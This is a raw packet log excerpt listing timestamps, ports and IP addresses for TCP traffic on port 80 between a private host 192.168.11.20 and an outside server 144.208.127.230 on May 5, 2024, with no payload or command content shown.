May 5, 2024 00:25:08.408294916 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408294916 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.408406019 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408500910 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.408529997 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408538103 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408545971 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408684015 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408839941 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.408910990 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408919096 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408926964 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408955097 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409008980 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.409063101 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409162045 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409168005 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.409316063 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.409429073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409518957 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.409528971 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409538031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409645081 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409653902 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.409782887 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409791946 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409799099 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409826040 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.409833908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409842014 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409893036 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.409995079 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.410051107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410058975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410067081 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410149097 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410166025 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.410279036 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410286903 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410295010 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410303116 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410331011 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410357952 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.410528898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410537958 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410538912 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.410545111 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410584927 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410593033 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410681009 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410689116 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410708904 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.410789967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410798073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410805941 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.410881042 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.410945892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411046982 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.411053896 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411062002 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411070108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411077023 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411084890 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411190987 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411200047 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411206961 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411214113 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.411215067 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411278009 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411286116 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411355019 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.411432028 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411441088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411448002 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411456108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411528111 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.411536932 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411545038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411552906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411561012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411663055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411731005 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.411782980 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411793947 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411802053 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411832094 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411839962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411897898 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.411938906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.411947012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412038088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412065983 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.412201881 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412209988 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412218094 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412225008 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412233114 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412306070 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412313938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412375927 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.412395954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412544966 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.412560940 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412569046 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412576914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412585020 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412591934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412642002 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412650108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412748098 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.412770987 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.412916899 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.413034916 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413043022 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413088083 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.413153887 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413161993 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413248062 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.413305998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413314104 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413398027 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413419008 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.413528919 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413655996 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413664103 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413671970 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413680077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413702965 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413758993 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.413906097 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.413923979 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.413933039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414037943 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414153099 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414161921 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414169073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414202929 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414268017 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.414274931 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414283037 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414438963 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.414442062 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414450884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414560080 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414567947 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414576054 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414582968 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414585114 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.414591074 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414643049 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414650917 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414659023 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414776087 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414777994 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.414784908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414940119 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414948940 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.414952040 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.415067911 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415076017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415083885 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415091038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415102005 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415117979 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.415170908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415179968 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415186882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415278912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415287018 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415294886 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415329933 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415338039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415399075 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415406942 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415520906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.415560007 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.520876884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.520971060 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521097898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521106958 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521224976 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521233082 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521240950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521344900 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521476030 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521483898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521492004 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521526098 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521534920 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521595955 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521604061 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521717072 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521846056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521853924 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521971941 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.521980047 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522090912 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.522099972 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522109032 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522115946 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522255898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522347927 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522356033 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522398949 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522468090 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522598982 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522607088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522720098 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522972107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.522979975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523097992 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523107052 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523219109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523479939 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523488998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523498058 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523597002 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523659945 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.523725986 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523735046 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523742914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523773909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523802996 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.523853064 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523977995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.523987055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524097919 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524225950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524348974 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524477005 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524485111 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524724960 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524848938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.524974108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525099039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525227070 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525234938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525279999 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525351048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525360107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525475979 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525485039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525600910 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525609970 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525654078 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525724888 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525850058 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525859118 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525975943 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.525985003 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526098967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526554108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526632071 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526643038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526756048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526765108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526881933 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.526890039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527012110 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527020931 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527065992 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527075052 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527084112 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527131081 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527260065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527270079 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527385950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527395010 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527403116 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527506113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527638912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527647972 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527654886 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527687073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527695894 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527759075 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527767897 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527812958 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527821064 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527885914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527894020 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.527901888 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528011084 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528022051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528064013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528131962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528259039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528268099 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528312922 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528321028 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528328896 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528383017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528390884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528507948 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528634071 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528641939 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528688908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528697968 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528704882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528759956 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528768063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528814077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528822899 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528830051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528882027 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.528889894 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529011011 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529020071 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529062986 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529130936 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529259920 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529269934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529315948 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529325008 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529333115 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529505968 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529632092 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529640913 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529757023 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529767036 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529809952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529885054 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529892921 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529937983 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.529946089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530009031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530133009 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530142069 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530189991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530199051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530210018 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530260086 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530268908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530311108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530383110 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530391932 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.530435085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.628022909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.628073931 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.716989040 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.821739912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.821981907 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.822076082 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.926744938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.926806927 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.926959038 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.927129030 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.031651974 CEST	80	49789	144.208.127.230	192.168.11.20
